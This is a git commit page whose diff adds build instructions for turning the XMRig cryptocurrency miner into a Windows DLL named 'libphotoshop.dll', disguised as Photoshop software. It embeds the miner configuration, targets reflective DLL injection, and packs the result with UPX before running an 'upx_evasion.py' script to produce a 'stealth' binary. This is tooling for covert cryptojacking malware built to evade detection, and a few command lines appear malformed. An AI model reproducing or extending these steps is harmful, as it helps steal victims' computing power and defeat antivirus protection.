Code can be build now without requiring any external dll's xmrig.cpp has been changed so it can run like Reflective DLL Injection. reflective dll injection not tested

This commit is contained in:
someone
2025-11-27 19:04:35 +01:00
parent 93551f5c0d
commit f5d0d904e4
14 changed files with 1745 additions and 204 deletions
+80
View File
@@ -0,0 +1,80 @@
cmake -G Ninja .. \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_SYSTEM_NAME=Windows \
-DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \
-DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \
-DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \
-DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \
-DCMAKE_FIND_LIBRARY_SUFFIXES=".a" \
-DWITH_TLS=ON \
-DWITH_EMBEDDED_CONFIG=ON \
-DCMAKE_C_FLAGS="-static -fPIC -mtune=generic -fno-lto -Wno-unused-command-line-argument -D_WIN32_WINNT=0x0601 -D__USE_MINGW_ANSI_STDIO=0" \
-DCMAKE_CXX_FLAGS="-static -fPIC -mtune=generic -fno-lto -Wno-unused-command-line-argument -D_WIN32_WINNT=0x0601 -D__USE_MINGW_ANSI_STDIO=0" \
-DCMAKE_SHARED_LINKER_FLAGS="-static -Wl,-Bstatic -Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive -Wl,--allow-multiple-definition -Wl,--start-group -lmingw32 -lmingwex -lmsvcrt -lkernel32 -luser32 -ladvapi32 -lws2_32 -lpsapi -liphlpapi -luserenv -ldbghelp -lssp -lstdc++ -lstdc++fs -Wl,-lmsvcrt -Wl,-lmingwex -Wl,-lmingw32 -Wl,-lwinpthread -Wl,-lmsvcrt -Wl,-lkernel32 -Wl,-luser32 -Wl,-ladvapi32 -Wl,-lws2_32 -Wl,-lpsapi -Wl,-liphlpapi -Wl,-luserenv -Wl,-ldbghelp -Wl,-lssp -Wl,--end-group" \
-DCMAKE_EXE_LINKER_FLAGS="-static -Wl,-Bstatic -Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive -Wl,--allow-multiple-definition"
ninja -j10
upx --best --lzma libphotoshop.dll -o libphotoshop_packed.dll
python3 ../upx_evasion.py libphotoshop_packed.dll -o libphotoshop_stealth.dll --keep-relocs
&& x86_64-w64-mingw32-g++ -o test_xmrig.exe ../test_xmrig.cpp libphotoshop.dll
OR for gcc use
cmake .. -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_COMPILER=x86_64-w64-mingw32-gcc -DCMAKE_CXX_COMPILER=x86_64-w64-mingw32-g++ -DWITH_TLS=ON -DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 -DCMAKE_SYSTEM_NAME=Windows -DCMAKE_SYSTEM_PROCESSOR=x86_64 -DWITH_EMBEDDED_CONFIG=ON && make -j $(nproc)
OR for CREATING ONE EXE WITHOUT DEPENDENCIES
 cmake -G Ninja .. \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_SYSTEM_NAME=Windows \
-DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \
-DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \
-DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \
-DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \
-DWITH_TLS=ON \
-DWITH_EMBEDDED_CONFIG=ON
ninja -j10
 x86_64-w64-mingw32-g++ -o test_xmrig.exe ../test_xmrig.cpp libphotoshop.a \
-static -static-libgcc -static-libstdc++ \
$HOME/xmrig-deps/gcc/x64/lib/libssl.a \
$HOME/xmrig-deps/gcc/x64/lib/libcrypto.a \
$HOME/xmrig-deps/gcc/x64/lib/libuv.a \
$HOME/xmrig-deps/gcc/x64/lib/libhwloc.a \
-lpthread -lws2_32 -liphlpapi -lpsapi -luserenv -ldbghelp
cmake -G Ninja .. \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_SYSTEM_NAME=Windows \
-DCMAKE_C_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang \
-DCMAKE_CXX_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \
-DCMAKE_RC_COMPILER=/opt/llvm-mingw/bin/x86_64-w64-mingw32-windres \
-DXMRIG_DEPS=$HOME/xmrig-deps/gcc/x64 \
-DWITH_TLS=ON \
-DWITH_EMBEDDED_CONFIG=ON \
-DCMAKE_C_FLAGS="-fPIC -mtune=generic -fno-lto -D_WIN32_WINNT=0x0601" \
-DCMAKE_CXX_FLAGS="-fPIC -mtune=generic -fno-lto -D_WIN32_WINNT=0x0601" && \
ninja -j (math (nproc) - 2) && \
/opt/llvm-mingw/bin/x86_64-w64-mingw32-clang++ \
-o test_xmrig.exe \
../test_xmrig.cpp \
-L. libphotoshop.dll \
-static \
-static-libgcc \
-static-libstdc++ \
-Wl,--whole-archive -lwinpthread -Wl,--no-whole-archive \
-lmsvcrt
upx --best --lzma libphotoshop.dll -o libphotoshop_packed.dll
python3 ../upx_evasion.py libphotoshop_packed.dll -o libphotoshop_stealth.dll --keep-relocs